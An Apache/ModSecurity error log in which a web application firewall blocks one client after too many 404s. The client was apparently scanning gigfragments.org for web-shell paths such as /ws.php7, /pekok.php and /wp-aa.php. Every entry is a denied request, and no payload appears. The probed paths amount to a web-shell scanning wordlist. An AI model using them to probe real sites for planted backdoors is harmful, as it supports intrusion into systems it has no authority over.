[Fri Dec 26 00:50:27.573691 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:9048] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aU1rU8u59XOK5DpQQdCGzgAAAVM"]
[Fri Dec 26 00:50:27.767847 2025] [:error] [pid 24863:tid 24909] [client 4.193.224.251:9062] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aU1rUx8SaH2KMpp43vfeNQAAANA"]
[Fri Dec 26 00:50:27.992939 2025] [:error] [pid 24862:tid 24887] [client 4.193.224.251:8473] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aU1rU7t-eeEEuo-2JKgiBwAAABU"]
[Fri Dec 26 00:50:28.173519 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:8449] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php7"] [unique_id "aU1rVMu59XOK5DpQQdCG0AAAAUw"]
[Fri Dec 26 00:50:28.358813 2025] [:error] [pid 24862:tid 24876] [client 4.193.224.251:9063] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aU1rVLt-eeEEuo-2JKgiCQAAAAo"]
[Fri Dec 26 00:50:28.560498 2025] [:error] [pid 24862:tid 24878] [client 4.193.224.251:8759] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aU1rVLt-eeEEuo-2JKgiCgAAAAw"]
[Fri Dec 26 00:50:28.758100 2025] [:error] [pid 24863:tid 24901] [client 4.193.224.251:9066] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aU1rVB8SaH2KMpp43vfeNgAAAMg"]
[Fri Dec 26 00:50:28.967069 2025] [:error] [pid 24863:tid 24899] [client 4.193.224.251:8992] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rss.php"] [unique_id "aU1rVB8SaH2KMpp43vfeNwAAAMY"]
[Fri Dec 26 00:50:29.149879 2025] [:error] [pid 24863:tid 24912] [client 4.193.224.251:9035] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aU1rVR8SaH2KMpp43vfeOQAAANM"]
[Fri Dec 26 00:50:29.361636 2025] [:error] [pid 24864:tid 24937] [client 4.193.224.251:9029] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aU1rVcu59XOK5DpQQdCG1QAAAVE"]
[Fri Dec 26 00:50:29.582692 2025] [:error] [pid 24862:tid 24873] [client 4.193.224.251:8979] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aU1rVbt-eeEEuo-2JKgiDAAAAAc"]
[Fri Dec 26 00:50:29.787012 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:9054] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pekok.php"] [unique_id "aU1rVcu59XOK5DpQQdCG2AAAAUs"]
[Fri Dec 26 00:50:29.990750 2025] [:error] [pid 24864:tid 24924] [client 4.193.224.251:9084] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aU1rVcu59XOK5DpQQdCG3AAAAUQ"]
[Fri Dec 26 00:50:30.177923 2025] [:error] [pid 24862:tid 24868] [client 4.193.224.251:8973] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aU1rVrt-eeEEuo-2JKgiEAAAAAI"]
[Fri Dec 26 00:50:30.425461 2025] [:error] [pid 24864:tid 24940] [client 4.193.224.251:9085] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aU1rVsu59XOK5DpQQdCG4QAAAVQ"]
[Fri Dec 26 00:50:30.607348 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:9025] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "aU1rVrt-eeEEuo-2JKgiEgAAAAE"]
[Fri Dec 26 00:50:30.883260 2025] [:error] [pid 24863:tid 24893] [client 4.193.224.251:9037] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aU1rVh8SaH2KMpp43vfePAAAAMA"]
[Fri Dec 26 00:50:31.093269 2025] [:error] [pid 24863:tid 24907] [client 4.193.224.251:8479] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aU1rVx8SaH2KMpp43vfePQAAAM4"]
[Fri Dec 26 00:50:31.289596 2025] [:error] [pid 24863:tid 24910] [client 4.193.224.251:8497] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aU1rVx8SaH2KMpp43vfePwAAANE"]
[Fri Dec 26 00:50:31.534538 2025] [:error] [pid 24862:tid 24869] [client 4.193.224.251:9040] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aU1rV7t-eeEEuo-2JKgiFgAAAAM"]
[Fri Dec 26 00:50:31.716246 2025] [:error] [pid 24862:tid 24883] [client 4.193.224.251:9068] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aU1rV7t-eeEEuo-2JKgiGAAAABE"]
[Fri Dec 26 00:50:31.898091 2025] [:error] [pid 24862:tid 24887] [client 4.193.224.251:8448] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aU1rV7t-eeEEuo-2JKgiGgAAABU"]
[Fri Dec 26 00:50:32.109454 2025] [:error] [pid 24864:tid 24932] [client 4.193.224.251:9087] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aU1rWMu59XOK5DpQQdCG6AAAAUw"]
[Fri Dec 26 00:50:32.321358 2025] [:error] [pid 24863:tid 24902] [client 4.193.224.251:9051] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aU1rWB8SaH2KMpp43vfeSAAAAMk"]
[Fri Dec 26 00:50:32.529801 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:8458] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aU1rWFfyLYxv3Jn9S70wuAAAAEY"]
[Fri Dec 26 00:50:32.721681 2025] [:error] [pid 24864:tid 24926] [client 4.193.224.251:8911] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aU1rWMu59XOK5DpQQdCG6wAAAUY"]
[Fri Dec 26 00:50:32.915938 2025] [:error] [pid 24863:tid 24909] [client 4.193.224.251:8751] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aU1rWB8SaH2KMpp43vfeTQAAANA"]
[Fri Dec 26 00:50:33.099117 2025] [:error] [pid 24864:tid 24937] [client 4.193.224.251:8765] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/compare.php"] [unique_id "aU1rWcu59XOK5DpQQdCG7gAAAVE"]
[Fri Dec 26 00:50:33.321098 2025] [:error] [pid 24863:tid 24896] [client 4.193.224.251:8457] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aU1rWR8SaH2KMpp43vfeUQAAAMM"]
[Fri Dec 26 00:50:33.535768 2025] [:error] [pid 24864:tid 24944] [client 4.193.224.251:8456] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aU1rWcu59XOK5DpQQdCG8AAAAVg"]
[Fri Dec 26 00:50:33.740324 2025] [:error] [pid 24864:tid 24931] [client 4.193.224.251:9031] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aU1rWcu59XOK5DpQQdCG8QAAAUs"]
[Fri Dec 26 00:50:33.920667 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8937] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop.php"] [unique_id "aU1rWcu59XOK5DpQQdCG8gAAAUc"]
[Fri Dec 26 00:50:34.121695 2025] [:error] [pid 24946:tid 24951] [client 4.193.224.251:8488] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rWlfyLYxv3Jn9S70wvAAAAEM"]
[Fri Dec 26 00:50:34.296242 2025] [:error] [pid 24863:tid 24898] [client 4.193.224.251:8931] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rWh8SaH2KMpp43vfeUwAAAMU"]
[Fri Dec 26 00:50:34.516385 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:8910] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rWlfyLYxv3Jn9S70wvQAAAFQ"]
[Fri Dec 26 00:50:34.707421 2025] [:error] [pid 24946:tid 24958] [client 4.193.224.251:9165] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aU1rWlfyLYxv3Jn9S70wvwAAAEo"]
[Fri Dec 26 00:50:34.890157 2025] [:error] [pid 24863:tid 24893] [client 4.193.224.251:8483] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU1rWh8SaH2KMpp43vfeVQAAAMA"]
[Fri Dec 26 00:50:35.094978 2025] [:error] [pid 24946:tid 24948] [client 4.193.224.251:9080] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU1rW1fyLYxv3Jn9S70wwQAAAEA"]
[Fri Dec 26 00:50:35.276037 2025] [:error] [pid 24946:tid 24953] [client 4.193.224.251:9166] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU1rW1fyLYxv3Jn9S70wxAAAAEU"]
[Fri Dec 26 00:50:35.457926 2025] [:error] [pid 24864:tid 24934] [client 4.193.224.251:8747] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aU1rW8u59XOK5DpQQdCG-AAAAU4"]
[Fri Dec 26 00:50:35.665774 2025] [:error] [pid 24862:tid 24884] [client 4.193.224.251:9076] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aU1rW7t-eeEEuo-2JKgiIAAAABI"]
[Fri Dec 26 00:50:35.842307 2025] [:error] [pid 24864:tid 24923] [client 4.193.224.251:9060] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aU1rW8u59XOK5DpQQdCG-wAAAUM"]
[Fri Dec 26 00:50:36.039005 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8903] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aU1rXMu59XOK5DpQQdCG_QAAAVM"]
[Fri Dec 26 00:50:36.237881 2025] [:error] [pid 24946:tid 24970] [client 4.193.224.251:8465] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atom.php"] [unique_id "aU1rXFfyLYxv3Jn9S70wxgAAAFY"]
[Fri Dec 26 00:50:36.412908 2025] [:error] [pid 24863:tid 24907] [client 4.193.224.251:8758] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aU1rXB8SaH2KMpp43vfeVgAAAM4"]
[Fri Dec 26 00:50:36.599814 2025] [:error] [pid 24946:tid 24965] [client 4.193.224.251:8467] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aU1rXFfyLYxv3Jn9S70wyQAAAFE"]
[Fri Dec 26 00:50:36.785521 2025] [:error] [pid 24946:tid 24961] [client 4.193.224.251:9034] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aU1rXFfyLYxv3Jn9S70wywAAAE0"]
[Fri Dec 26 00:50:36.971495 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:8743] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/case.php"] [unique_id "aU1rXLt-eeEEuo-2JKgiIQAAAAE"]
[Fri Dec 26 00:50:37.151196 2025] [:error] [pid 24863:tid 24910] [client 4.193.224.251:8729] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aU1rXR8SaH2KMpp43vfeWAAAANE"]
[Fri Dec 26 00:50:37.349303 2025] [:error] [pid 24863:tid 24906] [client 4.193.224.251:9039] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aU1rXR8SaH2KMpp43vfeWgAAAM0"]
[Fri Dec 26 00:50:37.524317 2025] [:error] [pid 24862:tid 24877] [client 4.193.224.251:8499] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aU1rXbt-eeEEuo-2JKgiJAAAAAs"]
[Fri Dec 26 00:50:37.703302 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8762] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/docs.php"] [unique_id "aU1rXVfyLYxv3Jn9S70wzQAAAEs"]
[Fri Dec 26 00:50:37.879658 2025] [:error] [pid 24863:tid 24914] [client 4.193.224.251:9207] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aU1rXR8SaH2KMpp43vfeXAAAANU"]
[Fri Dec 26 00:50:38.096504 2025] [:error] [pid 24863:tid 24903] [client 4.193.224.251:8909] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aU1rXh8SaH2KMpp43vfeXQAAAMo"]
[Fri Dec 26 00:50:38.302249 2025] [:error] [pid 24946:tid 24954] [client 4.193.224.251:8475] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aU1rXlfyLYxv3Jn9S70wzgAAAEY"]
[Fri Dec 26 00:50:38.502595 2025] [:error] [pid 24946:tid 24952] [client 4.193.224.251:9081] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ios.php"] [unique_id "aU1rXlfyLYxv3Jn9S70w0QAAAEQ"]
[Fri Dec 26 00:50:38.705540 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:8918] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aU1rXlfyLYxv3Jn9S70w1AAAAFQ"]
